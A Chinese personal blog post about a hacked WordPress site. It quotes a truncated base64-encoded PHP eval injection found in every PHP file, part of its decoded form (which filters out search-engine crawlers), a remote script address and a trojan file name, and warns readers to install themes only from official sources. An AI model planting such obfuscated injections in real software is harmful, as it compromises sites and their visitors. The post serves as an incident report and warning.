子猴博客

最近10来天的时间，子猴博客每次打开页面的时候都会加载一个地址的js文件，如http://61.4.82.212/js.php，然后后台管理页面就非常混乱，很多功能用不了，几乎所有的浏览器在打开博客的时候都给予禁止的提示信息，给空间商去信，他们回复说这是因为网站感染了恶意软件（Malware），说没办法帮我，于是没有办法，我就去查网站的文件，后来在任一php文件中都查到了这样一段经过Base64编码后的病毒代码（原文件是没有这段代码的）：

<?php /**/ eval(base64_decode("

aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25

vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21y

b2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGd

tbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSkQzQTdCOUUyOEMzNjl

GN0I1OUM1MUI4MURFPWd6ZGVjb2RlKCRSRTgyRUU5QjEyMUY3MD……………………………

"));?>

我将其解开后发现是一段类似javascript的代码：

if(function_exists(‘ob_start’)&&!isset($GLOBALS['mr_no'])){   $GLOBALS['mr_no']=1;   if(!function_exists(‘mrobh’)){      if(!function_exists(‘gml’)){     function gml(){      if (!stristr($_SERVER["HTTP_USER_AGENT"],”googlebot”)&& (!stristr($_SERVER["HTTP_USER_AGENT"],”yahoo”))){

。。。。。。。。

而且在主题根目录下还发现了一个名erwin_troy.php的木马文件，erwin的英文意思是“诊断”，而troy的英文意思是“木马”，里面也是一段经过编码后的代码。

后来没办法，我只好将所有的系统文件，除了图片目录外的都删除掉，然后再重传一遍wordpress的安装程序，之后，网站才恢复正常。

那么这个木马是怎么中的呢？我现在也记不得了，依稀记得是下载了一个主题包，然后试着安装了一下，后来不知道什么时候就中毒了，当然也不确定是因为那个主题的原因，但至少给了我一个教训，那就是在安装主题或插件的时候一定要到官方网站下载，即使一个原本没有问题的东西，但你如果不是在官方网站下载的话，有可能一些居心叵测之徒在其中加一些木马之类的东西。

希望各位朋友们以后在这方面以后也注意一下啊。

随机日志

• 2011 年 05 月 20 日 -- Android：航海时代Age Of Wind V2.3 (0)
• 2011 年 10 月 17 日 -- 两个老头 (0)
• 2011 年 10 月 17 日 -- 聪明的胡里奥 (0)
• 2011 年 05 月 16 日 -- 会说话的汤姆猫Android完整版v1.0 (0)
• 2011 年 03 月 26 日 -- 健康小贴士3 (0)
• 2011 年 05 月 11 日 -- 谷歌涂鸦(Google Doodles)：纪念玛莎·葛兰姆 (1)
• 2011 年 09 月 26 日 -- 希区柯克：死亡脸孔 (0)
• 2010 年 04 月 04 日 -- Berkeley DB Java Edition使用例子 (5)
• 2011 年 05 月 25 日 -- Android：我是机器人 v9.55.2 (0)
• 2011 年 04 月 25 日 -- 传言白色版iPhone 4将4月27日发售 (0)
• 2011 年 05 月 29 日 -- Android：丧尸围城高清版 v1.0.2 (0)
• 2010 年 07 月 27 日 -- MemoryUsage：监测java虚拟机内存使用 (3)
• 2011 年 04 月 29 日 -- 网络红人往事：小胖 (0)
• 2010 年 01 月 21 日 -- 这些非常神奇的图片，你见过没？ (3)
• 2011 年 07 月 22 日 -- 谷歌涂鸦：亚历山大·考尔德 (0)
• 2011 年 07 月 14 日 -- 天气啊，都是你的错！ (4)
• 2009 年 03 月 17 日 -- CJKAnalyzer中文分词器介绍及下载 (7)
• 2011 年 07 月 27 日 -- 味千拉面涉虚假宣传 (2)
• 2011 年 04 月 12 日 -- Apache Commons：VFS介绍 (1)
• 2011 年 03 月 27 日 -- 美味粥，春季巧养生 (0)
• 2011 年 05 月 30 日 -- 车太重了，大桥表示鸭梨很大 (2)
• 2011 年 04 月 08 日 -- 你会挑选草莓么？ (1)
• 2011 年 03 月 24 日 -- 数码相机 单反相机 手动拍摄技巧 (4)
• 2009 年 12 月 14 日 -- 中国今起停止个人域名注册 (0)
• 2010 年 03 月 01 日 -- 烟草局长的日记VS女人性爱视频 (6)
• 2011 年 04 月 25 日 -- 被逼急了就打这些电话，留着用处大了 (0)
• 2011 年 10 月 09 日 -- 枪击事件 (0)
• 2010 年 03 月 09 日 -- 预测亚冠国安客场胜川崎前锋 (1)
• 2011 年 09 月 26 日 -- 希区柯克：串门 (0)
• 2010 年 02 月 03 日 -- 硬盘分区工具EASEUS Partition Master (7)